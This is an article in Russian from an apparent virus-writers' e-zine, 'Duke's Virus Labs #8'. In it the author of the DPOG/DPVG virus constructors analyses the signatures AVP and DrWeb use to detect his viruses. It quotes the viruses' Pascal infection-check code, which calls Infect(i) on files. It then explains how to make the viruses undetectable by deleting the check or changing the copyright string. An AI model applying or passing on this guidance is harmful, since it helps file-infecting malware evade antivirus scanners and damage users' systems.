- [Duke's Virus Labs #8] - [Page 39] - Анализ сигнатур DPOG и DPVG (c) by Duke/SMF Начиная с апдейта 990624 AVP стал детектировать вирусы, сконструированные с помощью моего конструктора DPOG v0.01. Я подумал, что это очередная халтура. (Для детектирования этих вирусов DrWeb взял в лоб кучу сиг и добавил в базу. Как следствие, вирус созданный DPOG с другими параметрами уже не детектируется Web'ом или лишь подозревается.) Но тут я ошибся. Касперский взял сигнатуры, присущие всем создаваемым вирусам. С помощью AVPX v3.20 by z0mbie я узнал, что в AVP только 3 записи соответствуют DPOG-вирусам : === Cut ==== HLLO.DPOG-based #DPOG-based HLL.gen === Cut === Теперь нам надо найти и убить сигнатуры 8-E~ Вирусы HLLO.DPOG-based ловятся по сигнатуре из процедуры проверки на зараженность: === Cut === procedure Check(i:string); var g:file; y,z:byte; begin if i=paramstr(0) then Exit; if copy(i,length(i)-10,11)='COMMAND.COM' then Exit; assign(g,i); reset(g,1); seek(g,$0A); blockread(g,y,1); blockread(g,z,1); close(g); if (y<>ord(ID1)) or (z<>ord(ID2)) then Infect(i); end; === Cut === Cигнатура HLLO.DPOG-based (1) в исходных текстах имеет вид : === Cut === assign(g,i); reset(g,1); seek(g,$0A); blockread(g,y,1); blockread(g,z,1); close(g); if (y<>ord(ID1)) or (z<>ord(ID2)) then Infect(i); === Cut === Этот код используется в вирусах, поражающих файлы с помощью COMMAND.COM. Если все это хозяйство выкинуть и оставить только "Infect(i)", то вирус будет работать не хуже, но AVP ничего не увидит. Для детектирования HLL.gen используется другая сигнатура. Этот прием использовался мной в конструкторе DPVG : === Cut === procedure Check(i:string); var g:file; y:array [1..2] of byte; begin [ --- skipped --- ] assign(g,i); reset(g,1); seek(g,$0A); blockread(g,y,1); close(g); if (y[1]<>ord(ID1)) or (y[2]<>ord(ID2)) then Infect(i); end; === Cut === Надо заметить, что сигнатура в AVP выбрана удачно, но... некорректно. Если в константе VirusSize стоит число 4000 (по умолчанию), а не реальный размер вируса, то все его первые потомки будут повреждены и абсолютно неработоспособны. Тем не менее, AVP будет детектировать их как HLLO.DPOG-based, а не Corrupted... А чего говорит DrWeb после всех моих изменений ? === Cut === d:\TEST.EXE infected with modification of HLLO.Duke === Cut === Это все потому, что в его сигнатуру вирусов HLLO.Duke.based входит откомпилированный код вида : === Cut === writeln('Created (c) by Duke/SMF'); === Cut === Стоит изменить эту строку на что-либо иное, как вирус становится АБСОЛЮТНО недетектируемым !!!